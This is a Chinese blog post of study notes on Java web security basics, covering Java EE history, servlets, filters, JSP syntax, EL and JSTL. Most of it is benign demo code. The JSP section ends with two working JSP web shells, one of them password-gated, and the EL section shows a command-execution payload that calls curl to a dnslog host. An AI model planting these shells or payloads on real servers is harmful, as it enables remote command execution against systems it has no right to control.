Java安全基础 Web架构

该学下java安全了

Java安全基础 Web架构

Java Web 一般由web 服务端和web 客户端两部分组成

JavaWeb 服务端架构大致先后以下面几个阶段演变的:

  • Servlet
  • JSP
  • Struts –>SSH(Struts+Spring+Hibemate)
  • Spring MVC –>SSM(Spring+Spring MVC+Mybatis)
  • SpringBoot
  • SpringCloud
  • 等。。。

Java EE

Java EE指的是Java平台企业版(Java Platform Enterprise Edition)

之前称为Java 2 Platform, Enterprise Edition(J2EE),2017 年的 9 月Oracle将Java EE 捐赠给 Eclipse 基金会,由于Oracle持有Java商标原因,Eclipse基金于2018年3月将Java EE更名为Jakarta EE。

Java EE 是在 Java SE(Standard Edition) 的基础上建立的,并增加了许多额外的特性和技术来方便构建高可用的企业级应用。

Java EE的历史版本即介绍

平台版本 发布日期 规范 Java SE支持 重要变化
Jakarta EE 10 2022-09-13 10 Java SE 17, Java SE 11 移除Servlet、Faces、CDI和EJB (Entity Beans和Embeddable Container)中的过时项,CDI-Build Time。
Jakarta EE 9.1 2021-05-25 9.1 Java SE 11, Java SE 8 JDK 11支持
Jakarta EE 9 2020-12-08 9 Java SE 8 API命名空间从javax移动到jakarta
Jakarta EE 8 2019-09-10 8 Java SE 8 与Java EE 8完全兼容
Java EE 8 2017-08-31 JSR 366 Java SE 8 基于CDI的安全性和HTTP/2
Java EE 7 2013-05-28 JSR 342 Java SE 7 WebSocket、JSON和HTML5支持
Java EE 6 2009-12-10 JSR 316 Java SE 6 CDI托管Bean和REST
Java EE 5 2006-05-11 JSR 244 Java SE 5 Java注解
J2EE 1.4 2003-11-11 JSR 151 J2SE 1.4 WS-I可互操作的Web服务
J2EE 1.3 2001-09-24 JSR 58 J2SE 1.3 Java连接器架构
J2EE 1.2 1999-12-17 1.2 J2SE 1.2 最初的规范发布

Servlet

Servlet 这个名字是 Server Applet 的缩写,即服务端小程序,通常被用来处理一些较为复杂的服务器端的业务逻辑。

Servlet是Java EE的核心,可以说是 Java Web 开发中基础的基础,也是所有的MVC框架的实现的根本!

Servlet 运行流程

servlet运行在servlet容器中,每次运行web服务都会起一个servlet容器,容器内包含了很多servlet来被调用

也就是说,我们在浏览器的web页面访问特定的路由,来触发指定servlet,容器内的指定servlet再根据我们写好的处理逻辑执行我们规定好的流程

比如:写一个servlet用于输出指定内容111,当访问/flag是执行该servlet,当我们访问/flag时,便会回显111

Servlet 生命周期

Servlet 的生命周期分为:

  • init()
  • service()
  • do..() 例:doGet()、doPost()
  • destroy()

由字面意思就可以大致理解这些生命周期的意思

servlet启动后会先进行初始化init(),然后就一直存在于容器中,等待被调用service(),

当有servlet被调用,service()就会判断请求的类型,执行对应的do..()操作,例如:doGet()、doPost()

当容器关闭,即web程序退出时,便会执行destroy(),结束整个servlet的生命

Servlet的定义

在正式开始使用Servlet还需要了解一下它的定义

定义一个 Servlet 很简单,只需要继承javax.servlet.http.HttpServlet类并重写doXXX(如doGet、doPost)方法或者service方法就可以了

需要注意的是重写HttpServlet类的service方法可以获取到上述七种Http请求方法的请求。

javax.servlet.http.HttpServlet不仅实现了servlet的生命周期,并通过封装service方法抽象出了doGet/doPost/doDelete/doHead/doPut/doOptions/doTrace方法用于处理来自客户端的不一样的请求方式,我们的Servlet只需要重写其中的请求方法或者重写service方法即可实现servlet请求处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
* @author smal1black
* $date: 2024/4/8
*/
// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中HelloServlet相关配置
//@WebServlet(name = "HelloServlet", urlPatterns = {"/HelloServlet"})
public class HelloServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 输出信息
PrintWriter out = response.getWriter();
out.println("Hello World~");
out.flush();
out.close();
}

}

先把写好的demo代码放着

基于Web.xml配置

Servlet3.0 之前的版本都需要在web.xml 中配置servlet标签

servlet标签是由servletservlet-mapping标签组成的,两者之间通过在servletservlet-mapping标签中同样的servlet-name名称来实现关联的。

而在 Servlet 3.0 之后( Tomcat7+)可以使用注解方式配置 Servlet 了

在任意的Java类添加javax.servlet.annotation.WebServlet注解即可。

1
@WebServlet(name = "HelloServlet", urlPatterns = {"/HelloServlet"})

这简化了Servlet的配置方式,但同时Servlet的定义就不仅仅存在于web.xml,还需要去包含了@WebServlet注解的类

而要想通过web.xml来定义servlet,只要要在web.xml中添加如下内容(以刚才写好的demo为例)

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>

使用Servlet

配置环境

创建一个Maven archetype为webapp的项目:

然后在新建的项目里的pom.xml中引入servlet依赖

1
2
3
4
5
6
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>compile</scope>
</dependency>

安装Tomcat,从官网下载编译好的Tomcat(Core),这里下的10后面报错了,版本太高,换8就好了

配置好本地Tomcat

选择 war exploded 方式
war exploded 方式 :常在开发的时候使用这种方式,它可以支持热部署,但需要设置。

之后就是在项目中写入我们之前写好的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.servlet;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
* @author smal1black
* $date: 2024/4/8
*/
// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中HelloServlet相关配置
//@WebServlet(name = "HelloServlet", urlPatterns = {"/HelloServlet"})
public class HelloServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
// 输出信息
PrintWriter out = response.getWriter();
out.println("Hello World~");
out.flush();
out.close();
}

}

别忘了重载一下pom.xml的依赖,不然可能会报错

完善webapp项目结构,参考:https://blog.csdn.net/little_doggy_/article/details/130478571

在web.xml添加

1
2
3
4
5
6
7
8
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>

都准备好后,启动,然后访问/HelloServlet就可以看到了

同样的,由于我们的servlet版本是3.1,可以采用注解方式代替web.xml的配置

Servlet 3.0 特性

新增动态注册Servlet、Filter 和Listener的API(addServlet、addFilter、addListener)。

新增@WebServlet、@WebFilter、@WebInitParam、@WebListener、@MultipartConfig注解。

文件上传支持,request.getParts()。

非阻塞 IO,添加异步 IO

可插拔性(web-fragment.xml、ServletContainerInitializer)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example.servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

/**
* @author smal1black
* $date: 2024/4/8
*/
// 如果使用注解方式请取消@WebServlet注释并注释掉web.xml中HelloServlet相关配置
@WebServlet(name = "HelloServlet", urlPatterns = {"/HelloServlet"})
public class HelloServlet extends HttpServlet {

@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
doPost(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
//设置响应内容
response.setContentType("text/html");
// 输出信息
PrintWriter out = response.getWriter();
out.println("<h1>Hello World~<h1>");
out.flush();
out.close();
}

}

web.xml注释掉原有的注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<!-- <servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/HelloServlet</url-pattern>
</servlet-mapping>-->
</web-app>

遇到啥报错,网上搜一般都可以解决,这是刚接触servlet,对于它的结构算是有初步的了解,明天打算多写点代码练练手

Filter&Listener

Filter也是Servlet中常用的特性,是使用javax.servlet.Filter 接口进行实现的,可以用于为所有 Servlet 添加全局性的鉴权和过滤

可以用于过滤特殊的字符编码,防护一些sql注入等常见的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.example.servlet;

import javax.servlet.Filter;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.FilterChain;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

@WebFilter(filterName = "HelloFilter", urlPatterns = {"/*"})
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;

response.setContentType("text/html");

// 获取请求的URI路径
String requestURI = request.getRequestURI();

// 检查路径是否包含"/HelloFilter"
if (requestURI.contains("/HelloFilter")) {
try (PrintWriter out = response.getWriter()) {
out.println("<h1>Hello Filter<h1>");
}
} else if (requestURI.contains("/HelloServlet")) {
// 如果请求路径包含"/HelloServlet",直接通过过滤器的过滤
filterChain.doFilter(servletRequest, servletResponse);
}else {
// 重定向到"/HelloServlet"
response.sendRedirect(request.getContextPath() + "/HelloServlet");
}
}

@Override
public void destroy() {

}
}

写一个简单的Filter,当路径是包含”/HelloFilter”时输出Hello Filter,不包含时则跳转到/HelloServlet

访问/a

访问/HelloFilter

JSP

要想使用 Servlet 在生成网页中动态的内容(类似php等其他语言),但由于所有文本和标签都是硬编码,如果想要做出修改,每次就需要重新对源码进行再次的编译部署,麻烦了些,无法像php那样修改.php文件就可以即插即用。

而 JSP (Java Server Page)可以有效解决了 Servlet 的这些问题

JSP 基于Java 语言,类似于php,是一种动态网页技术。通过使用 JSP 标签在HTML 网页中插入 Java 代码。标签通常以<% 开头,以%>结束。

1
2
3
<%
out.println("hellpo JSP!");
%>

JSP、Servlet之间的关系

JSP 本质是简化版的Servlet,JSP 在编译后就变成了Servlet。JVM 只能识别Java的类,是无法识别JSP 代码的。所以WEB 服务器会将JSP 编译成JVM 能识别的Java 类
JSP 跟Servlet 区别在于,JSP 常用于动态页面显示,Servlet 常用于逻辑控制。在代码中常使用 JSP 做前端动态页面,在接收到用户输入后交给对应的Servlet 进行处理。当然JSP 也可以当做后端代码进行逻辑控制。

JSP 生命周期: 编译阶段 -> 初始化阶段 -> 执行阶段 -> 销毁阶段

此处多了一个编译阶段,是将JSP 编译成Servlet 的阶段。而这个阶段也是有三个步骤的: 解析JSP 文件 -> 将JSP 文件转为servlet -> 编译servlet 。

在编译阶段,JSP文件会被编译成java类文件,如index.jsp在Tomcat中Jasper编译后会生成index_jsp.javaindex_jsp.class两个文件。

  • 生成的类名与 jsp 文件名相同,不合法的字符会转换为 _,比如 index.jsp 会生成 index_jsp1.jsp 会生成 _1_jsp
  • 生成的 Java 类(如:index_jsp.java)继承自抽象类 HttpJspBase(一个实现了HttpJspPage接口并继承了HttpServlet的标准的Servlet)
  • 生成类的代码中的_jspInit_jspDestory 对应 Servlet 中的生命周期函数;_jspService 中处理客户端的请求,类似于Servlet中的service方法,其实就是HttpJspBaseservice方法调用

基本语法

一般JSP文件后缀名为.jsp

jsp引擎则可能会解析jspx / jspf / jspa / jsw / jsv / jtml 等后缀的文件

  • <% code %> scriptlet 可以用来包裹和执行 Java 代码,也可以用 <jsp:scriptlet> 标签来进行包含;
1
2
3
<jsp:scriptlet>
代码片段
</jsp:scriptlet>
  • <%! declaration; [ declaration; ]+ ... %> 用于变量声明,同 <jsp:declaration>

  • <%= expr %> 用来包括和执行表达式,表达式的结果作为 HTML 的内容,同 <jsp:expression>

  • <%-- comment --%> 为 JSP 注释,注释中的内容会被 JSP 引擎忽略;

  • <%@ directive attribute="value" %> 指令,影响对应 Servlet 的类结构

  • <jsp:action_name attribute="value" /> 使用 XML 控制 Servlet 引擎的的行为,称为 action;

JSP 三大指令

<%@ directive attribute="value" %> 指令,影响对应 Servlet 的类结构

  1. <%@ page ... %> 定义网页依赖属性,比如脚本语言、error页面、缓存需求等等
  2. <%@ include ... %> 包含其他文件(静态包含)
  3. <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> 引入标签库的定义

JSP 九大对象

从本质上说 JSP 就是一个Servlet,JSP 引擎在调用 JSP 对应的 jspServlet 时,会传递或创建 9 个与 web 开发相关的对象供 jspServlet 使用。 JSP 技术的设计者为便于开发人员在编写 JSP 页面时获得这些 web 对象的引用,特意定义了 9 个相应的变量,开发人员在JSP页面中通过这些变量就可以快速获得这 9 大对象的引用。

这九个对象,可以不用声明直接使用

变量名 类型 作用
pageContext PageContext 当前页面共享数据,还可以获取其他8个内置对象
request HttpServletRequest 客户端请求对象,包含了所有客户端请求信息
session HttpSession 请求会话
application ServletContext 全局对象,所有用户间共享数据
response HttpServletResponse 响应对象,主要用于服务器端设置响应信息
page Object 当前Servlet对象,this
out JspWriter 输出对象,数据输出到页面上
config ServletConfig Servlet的配置对象
exception Throwable 异常对象

JSP 表达式(EL)

EL(Expression Language),主要用于替换JSP页面中的脚本表达式<%= %>,在jsp页面中获取请求中的值、执行运算、调用方法等

从request域对象中,取得user这个对象的年龄:

1
${requestScope.user.age}

等价于JSP Scriptlet的写法:

1
2
User user = (User)request.getAttribute("user");
int age = user.getAge();

有趣的是,它还可以用来执行命令

1
${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}

https://forum.butian.net/share/886

https://xz.aliyun.com/t/7692

JSP 标准标签库(JSTL)

JSP标准标签库(JSTL)是一个JSP标签集合,它封装了JSP应用的通用核心功能。

JSTL 中常见的标签库:

官方文档:https://docs.oracle.com/javaee/5/jstl/1.1/docs/tlddocs/

注意在 Tomcat 或者 Jetty 这种轻量级的容器内使用 JSTL 需要安装对应的依赖

使用JSP

打开IDEA 创建一个Maven archetype 的项目,模板选择webapp 项目,设置名称。还需要配置tomcat

这里的操作和之前servlet一样,就直接拿之前的项目来就好了

然后,需要在src/main/webapp文件夹下创建jsp文件,分别创建login.jsp和do_login.jsp

login.jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="utf-8" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>User to Register Page</title>
</head>
<body>
<hr>
<br>登录页面<br>
<form action="do_login.jsp" method="post">
<br>
<h1>Please input your message:</h1>
<br>
Name:<input type="text" name="username"><br>
Pswd:<input type="password" name="password"><br>
<br><br>
<input type="submit">&nbsp;&nbsp;&nbsp;&nbsp;<input type="reset">
</form>
</body>
</html>

do_login.jsp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8"%>
<%@ page import="java.sql.*" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Server to do the register page!</title>
</head>
<body>
<%
String username=request.getParameter("username");
String password=request.getParameter("password");
%>
<%
//模拟登录成功与否
if(username.equals("admin") && password.equals("password")){
response.getWriter().write("Success!");
}else {
response.getWriter().write("Error!");
}
%>
</body>
</html>

如图,然后部署访问/login.jsp

当输入admin/password时,就会跳转到do_login.jsp界面,并显示Success!

带回显的jsp一句话

1
2
3
4
5
6
7
8
9
10
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
// System.out.println(process);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>

带密码的一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

1
?pwd=023&i=ls

Reference

https://www.javasec.org/javaweb/

https://evilpan.com/2023/04/01/java-ee/


Java安全基础 Web架构
https://www.supersmallblack.cn/Java安全基础 Web架构.html
作者
Small Black
发布于
2024年4月14日
许可协议